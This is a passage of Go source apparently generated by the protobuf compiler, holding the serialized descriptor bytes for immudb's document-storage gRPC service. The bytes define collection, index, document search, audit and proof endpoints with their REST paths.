0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xf4, 0x13, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x7f, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x22, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x1a, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x8b, 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x2a, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x86, 0x01, 0x0a, 0x08, 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x3a, 0x01, 0x2a, 0x22, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x98, 0x01, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x44, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x30, 0x2a, 0x2e, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x2f, 0x7b, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x8f, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x3a, 0x01, 0x2a, 0x22, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x8c, 0x01, 0x0a, 0x0b, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x38, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x24, 0x2a, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x9f, 0x01, 0x0a, 0x0f, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3f, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x2b, 0x3a, 0x01, 0x2a, 0x22, 0x26, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xb0, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x39, 0x3a, 0x01, 0x2a, 0x1a, 0x34, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x12, 0xac, 0x01, 0x0a, 0x0f, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4c, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x38, 0x3a, 0x01, 0x2a, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0xda, 0x01, 0x0a, 0x0f, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x66, 0x3a, 0x01, 0x2a, 0x5a, 0x2c, 0x3a, 0x01, 0x2a, 0x22, 0x27, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x7d, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0xa8, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x37, 0x3a, 0x01, 0x2a, 0x22, 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x3a, 0x01, 0x2a, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x3a, 0x01, 0x2a, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x42, 0xb0, 0x01, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( file_documents_proto_rawDescOnce sync.Once file_documents_proto_rawDescData = 